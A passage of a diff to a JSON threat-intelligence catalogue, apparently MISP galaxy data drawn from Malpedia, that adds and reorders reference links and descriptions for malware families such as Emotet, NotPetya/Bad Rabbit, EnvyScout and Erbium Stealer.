"https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-february-mummy-spider/", + "https://blogs.vmware.com/security/2022/08/how-to-replicate-emotet-lateral-movement.html", + "https://persianov.net/emotet-malware-analysis-part-2", + "https://intezer.com/blog/research/how-hackers-use-binary-padding-to-outsmart-sandboxes/", + "https://www.fortinet.com/blog/threat-research/bad-actors-capitalize-current-events-email-scams", + "https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/", + "https://www.zdnet.com/article/meet-the-white-hat-group-fighting-emotet-the-worlds-most-dangerous-malware/", + "https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-2.html", + "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", + "https://blogs.jpcert.or.jp/en/2021/02/emotet-notice.html", + "https://www.intezer.com/mitigating-emotet-the-most-common-banking-trojan/", + "https://krebsonsecurity.com/2021/01/international-action-targets-emotet-crimeware", + "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://unit42.paloaltonetworks.com/c2-traffic/", + "https://www.bleepingcomputer.com/news/security/emotet-malware-is-back-and-rebuilding-its-botnet-via-trickbot/", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://cyber.wtf/2022/03/23/what-the-packer/", + "https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes", + "https://twitter.com/ContiLeaks/status/1498614197202079745", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://www.youtube.com/watch?v=_BLOmClsSpc", + "https://www.fortinet.com/blog/threat-research/ms-office-files-involved-in-emotet-trojan-campaign-pt-one", + "https://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/", + "https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", + "https://experience.mandiant.com/trending-evil-2/p/1", + "https://www.melani.admin.ch/melani/de/home/dokumentation/newsletter/Trojaner_Emotet_greift_Unternehmensnetzwerke_an.html", + "https://www.tgsoft.it/files/report/download.asp?id=7481257469", + "https://www.anomali.com/blog/mummy-spiders-emotet-malware-is-back-after-a-year-hiatus-wizard-spiders-trickbot-observed-in-its-return", + "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", + "http://blog.trendmicro.com/trendlabs-security-intelligence/emotet-returns-starts-spreading-via-spam-botnet/", + "https://twitter.com/eduardfir/status/1461856030292422659", + "https://www.blueliv.com/blog/research/where-is-emotet-latest-geolocation-data/", + "https://malfind.com/index.php/2018/07/23/deobfuscating-emotets-powershell-payload/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://atr-blog.gigamon.com/2020/01/13/emotet-not-your-run-of-the-mill-malware/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", + "https://www.deepinstinct.com/blog/types-of-dropper-malware-in-microsoft-office", + "https://blogs.vmware.com/security/2022/05/emotet-moves-to-64-bit-and-updates-its-loader.html", + "https://hello.global.ntt/en-us/insights/blog/shellbot-victim-overlap-with-emotet-network-infrastructure", + "https://www.trendmicro.com/en_us/research/22/e/bruised-but-not-broken--the-resurgence-of-the-emotet-botnet-malw.html", + "https://feodotracker.abuse.ch/?filter=version_e", + "https://securelist.com/emotet-modules-and-recent-attacks/106290/", + "https://blog.malwarebytes.com/trojans/2020/07/long-dreaded-emotet-has-returned/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.deepinstinct.com/2020/10/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before-part-2/", + "https://blogs.vmware.com/security/2022/05/emotet-config-redux.html", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", + "https://blog.threatlab.info/malware-analysis-emotet-infection/", + "https://www.proofpoint.com/us/blog/threat-insight/emotet-tests-new-delivery-techniques", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", + "https://isc.sans.edu/forums/diary/Emotet%20infection%20with%20Cobalt%20Strike/28824/", + "https://dissectingmalwa.re/return-of-the-mummy-welcome-back-emotet.html", + "https://medium.com/@Ilandu/emotet-campaign-6f240f7a5ed5", + "https://blog.trendmicro.com/trendlabs-security-intelligence/exploring-emotet-examining-emotets-activities-infrastructure/", + "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", + "https://medium.com/@0xd0cf11e/analyzing-emotet-with-ghidra-part-1-4da71a5c8d69", + "https://exchange.xforce.ibmcloud.com/collection/18f373debc38779065a26f1958dc260b", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://www.bka.de/DE/Presse/Listenseite_Pressemitteilungen/2021/Presse2021/210127_pmEmotet.html", + "https://www.binarydefense.com/emocrash-exploiting-a-vulnerability-in-emotet-malware-for-defense/", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://twitter.com/Cryptolaemus1/status/1516535343281025032", + "https://www.netskope.com/blog/emotet-new-delivery-mechanism-to-bypass-vba-protection", + "https://www.bleepingcomputer.com/news/security/emotet-malware-hits-lithuanias-national-public-health-center/", + "https://www.hornetsecurity.com/en/security-informationen-en/webshells-powering-emotet/", + "https://github.com/cecio/EMOTET-2020-Reversing", + "https://www.fortinet.com/blog/threat-research/Trends-in-the-recent-emotet-maldoc-outbreak", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://adalogics.com/blog/the-state-of-advanced-code-injections", + "https://hello.global.ntt/en-us/insights/blog/behind-the-scenes-of-the-emotet-infrastructure", + "https://www.intrinsec.com/emotet-returns-and-deploys-loaders/", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmwcb-report-modern-bank-heists-2020.pdf", + "https://www.bleepingcomputer.com/news/security/microsoft-emotet-took-down-a-network-by-overheating-all-computers/", + "https://www.trendmicro.com/en_no/research/23/c/emotet-returns-now-adopts-binary-padding-for-evasion.html", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://web.archive.org/web/20211223100528/https://cloudsek.com/emotet-2-0-everything-you-need-to-know-about-the-new-variant-of-thbanking-trojan/", + "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-fall-2022-return", + "https://www.trendmicro.com/en_us/research/22/a/emotet-spam-abuses-unconventional-ip-address-formats-spread-malware.html", + "https://www.cyren.com/blog/articles/example-analysis-of-multi-component-malware", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction", + "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://www.lac.co.jp/lacwatch/people/20201106_002321.html", "https://cert.grnet.gr/en/blog/reverse-engineering-emotet/", - "https://krebsonsecurity.com/2021/01/international-action-targets-emotet-crimeware" + "https://r3mrum.wordpress.com/2021/01/05/manual-analysis-of-new-powersplit-maldocs-delivering-emotet/", + "https://www.cert.pl/en/news/single/analysis-of-emotet-v4/", + "https://www.politie.nl/nieuws/2021/februari/17/politie-bestrijdt-cybercrime-via-nederlandse-infrastructuur.html", + "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", + "https://securelist.com/the-chronicles-of-emotet/99660/", + "https://community.riskiq.com/article/2cd1c003", + "https://team-cymru.com/blog/2021/01/27/taking-down-emotet/" ], "synonyms": [ "Geodo", @@ -23516,29 +24624,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.empire_downloader", - "https://attack.mitre.org/groups/G0096", - "http://www.secureworks.com/research/threat-profiles/gold-burlap", - "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", "https://unit42.paloaltonetworks.com/atoms/obscureserpens/", - "https://www.secureworks.com/research/threat-profiles/bronze-firestone", "https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-drake", + "https://www.secureworks.com/research/threat-profiles/gold-heron", + "https://www.secureworks.com/research/threat-profiles/bronze-firestone", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/looking-over-the-nation-state-actors-shoulders.html", + "https://www.secureworks.com/research/threat-profiles/gold-drake", + "https://www.secureworks.com/research/threat-profiles/gold-ulrick", + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", + "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", "https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/", "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - "https://twitter.com/thor_scanner/status/992036762515050496", - "https://paper.seebug.org/1301/", - "https://www.secureworks.com/research/threat-profiles/gold-heron", - "http://www.secureworks.com/research/threat-profiles/gold-heron", - "https://redcanary.com/blog/getsystem-offsec/", - "https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/looking-over-the-nation-state-actors-shoulders.html", - "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://attack.mitre.org/groups/G0096", "https://www.mandiant.com/media/12596/download", - "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", + "http://www.secureworks.com/research/threat-profiles/gold-heron", "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", - "https://www.secureworks.com/research/threat-profiles/gold-ulrick" + "https://twitter.com/thor_scanner/status/992036762515050496", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "http://www.secureworks.com/research/threat-profiles/gold-burlap", + "https://redcanary.com/blog/getsystem-offsec/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", + "https://paper.seebug.org/1301/" ], "synonyms": [], "type": [] @@ -23564,13 +24672,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal", - "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-palace", + "https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/", + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://attack.mitre.org/groups/G0011", - "https://www.bsk-consulting.de/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/", - "https://www.secureworks.com/research/threat-profiles/bronze-palace", + "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", "https://researchcenter.paloaltonetworks.com/2015/05/cmstar-downloader-lurid-and-enfals-new-cousin/" ], "synonyms": [ @@ -23599,11 +24707,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.entropy", - "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/?cmp=30728", - "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://lka.polizei.nrw/presse/schlag-gegen-international-agierendes-netzwerk-von-cyber-kriminellen", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/?cmp=30728", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/" ], "synonyms": [], "type": [] @@ -23629,14 +24737,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.envyscout", - "https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html", - "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", - "https://cert-agid.gov.it/news/il-malware-envyscout-apt29-e-stato-veicolato-anche-in-italia/", - "https://www.sekoia.io/en/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/", "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58", + "https://blogs.blackberry.com/en/2023/03/nobelium-targets-eu-governments-assisting-ukraine", "https://go.recordedfuture.com/hubfs/reports/cta-2022-0503.pdf", + "https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html", "https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/", - "https://blogs.blackberry.com/en/2023/03/nobelium-targets-eu-governments-assisting-ukraine" + "https://www.sekoia.io/en/nobeliums-envyscout-infection-chain-goes-in-the-registry-targeting-embassies/", + "https://cert.pl/posts/2023/04/kampania-szpiegowska-apt29/", + "https://cert-agid.gov.it/news/il-malware-envyscout-apt29-e-stato-veicolato-anche-in-italia/", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf" ], "synonyms": [ "ROOTSAW" @@ -23647,7 +24756,7 @@ "value": "EnvyScout" }, { - "description": "", + "description": "According to PCrisk, Epsilon is a ransomware-type program. This malware is designed to encrypt the data of infected systems in order to demand payment for decryption.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.epsilon_red", @@ -23685,16 +24794,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.equationgroup", + "https://laanwj.github.io/2016/09/01/tadaqueos.html", "https://laanwj.github.io/2016/09/09/blatsting-lp-transcript.html", - "https://laanwj.github.io/2016/09/11/buzzdirection.html", "https://laanwj.github.io/2016/09/13/blatsting-rsa.html", "https://laanwj.github.io/2016/09/23/seconddate-adventures.html", - "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/", - "https://laanwj.github.io/2016/08/28/feintcloud.html", - "https://laanwj.github.io/2016/09/01/tadaqueos.html", + "https://laanwj.github.io/2016/09/04/blatsting-command-and-control.html", "https://laanwj.github.io/2016/08/22/blatsting.html", "https://laanwj.github.io/2016/09/17/seconddate-cnc.html", - "https://laanwj.github.io/2016/09/04/blatsting-command-and-control.html" + "https://laanwj.github.io/2016/08/28/feintcloud.html", + "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/", + "https://laanwj.github.io/2016/09/11/buzzdirection.html" ], "synonyms": [], "type": [] @@ -23707,10 +24816,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.erbium_stealer", - "https://blog.cluster25.duskrise.com/2022/09/15/erbium-stealer-a-new-infostealer", + "https://twitter.com/abuse_ch/status/1565290110572175361", "https://www.bleepingcomputer.com/news/security/new-erbium-password-stealing-malware-spreads-as-game-cracks-cheats/", - "https://twitter.com/sekoia_io/status/1577222282929311744", - "https://twitter.com/abuse_ch/status/1565290110572175361" + "https://blog.cluster25.duskrise.com/2022/09/15/erbium-stealer-a-new-infostealer", + "https://twitter.com/sekoia_io/status/1577222282929311744" ], "synonyms": [], "type": [] @@ -23775,8 +24884,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.especter", - "https://www.binarly.io/posts/Design_issues_of_modern_EDR%E2%80%99s_bypassing_ETW-based_solutions/index.html", - "https://www.welivesecurity.com/2021/10/05/uefi-threats-moving-esp-introducing-especter-bootkit/" + "https://www.welivesecurity.com/2021/10/05/uefi-threats-moving-esp-introducing-especter-bootkit/", + "https://www.binarly.io/posts/Design_issues_of_modern_EDR%E2%80%99s_bypassing_ETW-based_solutions/index.html" ], "synonyms": [], "type": [] @@ -23801,78 +24910,79 @@ "value": "EternalRocks" }, { - "description": "According to proofpoint, Bad Rabbit is a strain of ransomware that first appeared in 2017 and is a suspected variant of Petya. Like other strains of ransomware, Bad Rabbit virus infections lock up victims’ computers, servers, or files preventing them from regaining access until a ransom—usually in Bitcoin—is paid.\r\n\r\n", + "description": "According to proofpoint, Bad Rabbit is a strain of ransomware that first appeared in 2017 and is a suspected variant of Petya. Like other strains of ransomware, Bad Rabbit virus infections lock up victims\u2019 computers, servers, or files preventing them from regaining access until a ransom\u2014usually in Bitcoin\u2014is paid.\r\n\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya", - "https://www.bleepingcomputer.com/news/security/ransomware-attacks-continue-in-ukraine-with-mysterious-wannacry-clone/", "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", - "https://www.crowdstrike.com/blog/fast-spreading-petrwrap-ransomware-attack-combines-eternalblue-exploit-credential-stealing/", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://gvnshtn.com/maersk-me-notpetya/", - "https://threatpost.com/ukrainian-man-arrested-charged-in-notpetya-distribution/127391/", - "https://www.gdatasoftware.com/blog/2017/07/29859-who-is-behind-petna", - "https://www.youtube.com/watch?v=mrTdSdMMgnk", - "https://blog.talosintelligence.com/2022/02/current-executive-guidance-for-ongoing.html", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", - "https://medium.com/@Ilandu/petya-not-petya-ransomware-9619cbbb0786", - "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/", - "http://blog.erratasec.com/2017/06/nonpetya-no-evidence-it-was-smokescreen.html", - "https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/", - "https://www.theguardian.com/technology/2017/jul/03/notpetya-malware-attacks-ukraine-warrant-retaliation-nato-researcher-tomas-minarik", - "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", - "http://www.intezer.com/notpetya-returns-bad-rabbit/", - "https://blogs.technet.microsoft.com/mmpc/2017/06/29/windows-10-platform-resilience-against-the-petya-ransomware-attack/", - "https://medium.com/@thegrugq/pnyetya-yet-another-ransomware-outbreak-59afd1ee89d4", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://tisiphone.net/2017/06/28/why-notpetya-kept-me-awake-you-should-worry-too/", - "https://securelist.com/from-blackenergy-to-expetr/78937/", - "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", - "https://labsblog.f-secure.com/2017/10/27/the-big-difference-with-bad-rabbit/", - "https://www.secureworks.com/research/threat-profiles/iron-viking", - "https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/", - "https://securelist.com/bad-rabbit-ransomware/82851/", - "https://www.cyberscoop.com/russian-hackers-notpetya-charges-gru/", - "https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/?utm_content=buffer8ffe4&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer", - "https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-lost-salsa20-key/", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://therecord.media/mondelez-and-zurich-reach-settlement-in-notpetya-cyberattack-insurance-suit/", - "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", - "https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine", - "https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/", - "https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks", - "https://attack.mitre.org/groups/G0034", + "https://www.riskiq.com/blog/labs/badrabbit/", + "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", "https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/", + "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://www.welivesecurity.com/2017/10/24/kiev-metro-hit-new-variant-infamous-diskcoder-ransomware/?utm_content=buffer8ffe4&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer", + "http://www.intezer.com/notpetya-returns-bad-rabbit/", + "https://gvnshtn.com/maersk-me-notpetya/", + "https://blog.talosintelligence.com/2022/02/current-executive-guidance-for-ongoing.html", "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "https://www.atlanticcouncil.org/content-series/tech-at-the-leading-edge/the-russian-cyber-unit-that-hacks-targets-on-site/", + "https://labsblog.f-secure.com/2017/10/27/the-big-difference-with-bad-rabbit/", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", + "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/", + "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back", + "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://threatpost.com/ukrainian-man-arrested-charged-in-notpetya-distribution/127391/", + "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", + "https://www.secureworks.com/research/threat-profiles/iron-viking", + "https://tisiphone.net/2017/06/28/why-notpetya-kept-me-awake-you-should-worry-too/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", "http://blog.talosintelligence.com/2017/10/bad-rabbit.html", - "http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", + "https://www.wired.com/story/badrabbit-ransomware-notpetya-russia-ukraine/", + "https://securelist.com/bad-rabbit-ransomware/82851/", + "https://securelist.com/from-blackenergy-to-expetr/78937/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://securityandtechnology.org/wp-content/uploads/2021/04/IST-Ransomware-Task-Force_Final_Report.pdf", + "https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-badrabbit-encryption-routine-specifics.html", + "https://www.theguardian.com/technology/2017/jul/03/notpetya-malware-attacks-ukraine-warrant-retaliation-nato-researcher-tomas-minarik", + "https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/", + "https://medium.com/@Ilandu/petya-not-petya-ransomware-9619cbbb0786", + "https://www.crowdstrike.com/blog/fast-spreading-petrwrap-ransomware-attack-combines-eternalblue-exploit-credential-stealing/", + "https://blogs.technet.microsoft.com/mmpc/2017/06/29/windows-10-platform-resilience-against-the-petya-ransomware-attack/", + "https://aguinet.github.io//blog/2020/08/29/miasm-bootloader.html", "https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/", + "https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html", + "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "https://securelist.com/schroedingers-petya/78870/", + "https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/", + "https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/", + "https://attack.mitre.org/groups/G0034", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://blog.comae.io/petya-2017-is-a-wiper-not-a-ransomware-9ea1d8961d3b", + "http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", + "https://securelist.com/in-expetrpetyas-shadow-fakecry-ransomware-wave-hits-ukraine/78973/", + "https://www.washingtonpost.com/world/national-security/russian-military-was-behind-notpetya-cyberattack-in-ukraine-cia-concludes/2018/01/12/048d8506-f7ca-11e7-b34a-b85626af34ef_story.html", "https://istari-global.com/spotlight/the-untold-story-of-notpetya/", "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/eternalglue-part-one-rebuilding-notpetya-to-assess-real-world-resilience/", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back", - "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", - "https://www.riskiq.com/blog/labs/badrabbit/", - "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", - "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", - "https://www.washingtonpost.com/world/national-security/russian-military-was-behind-notpetya-cyberattack-in-ukraine-cia-concludes/2018/01/12/048d8506-f7ca-11e7-b34a-b85626af34ef_story.html", + "http://blog.erratasec.com/2017/06/nonpetya-no-evidence-it-was-smokescreen.html", "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", - "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", - "https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html", - "https://www.atlanticcouncil.org/content-series/tech-at-the-leading-edge/the-russian-cyber-unit-that-hacks-targets-on-site/", - "https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/", - "https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-badrabbit-encryption-routine-specifics.html", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://blog.comae.io/petya-2017-is-a-wiper-not-a-ransomware-9ea1d8961d3b", - "https://securelist.com/schroedingers-petya/78870/", - "https://www.wired.com/story/badrabbit-ransomware-notpetya-russia-ukraine/", - "https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/", - "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", - "https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/", - "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", + "https://www.cyberscoop.com/russian-hackers-notpetya-charges-gru/", + "https://medium.com/@thegrugq/pnyetya-yet-another-ransomware-outbreak-59afd1ee89d4", + "https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks", + "https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-lost-salsa20-key/", "https://blog.malwarebytes.com/threat-analysis/2017/06/eternalpetya-yet-another-stolen-piece-package/", - "https://aguinet.github.io//blog/2020/08/29/miasm-bootloader.html" + "https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://www.bleepingcomputer.com/news/security/ransomware-attacks-continue-in-ukraine-with-mysterious-wannacry-clone/", + "https://www.gdatasoftware.com/blog/2017/07/29859-who-is-behind-petna", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", + "https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/", + "https://therecord.media/mondelez-and-zurich-reach-settlement-in-notpetya-cyberattack-insurance-suit/", + "https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/" ], "synonyms": [ "BadRabbit", @@ -23895,8 +25005,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_clipper", - "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/", "https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group", + "https://www.bleepingcomputer.com/news/security/eternity-malware-kit-offers-stealer-miner-worm-ransomware-tools/", "https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/" ], "synonyms": [], @@ -23910,8 +25020,8 @@ "meta": { "refs": [ 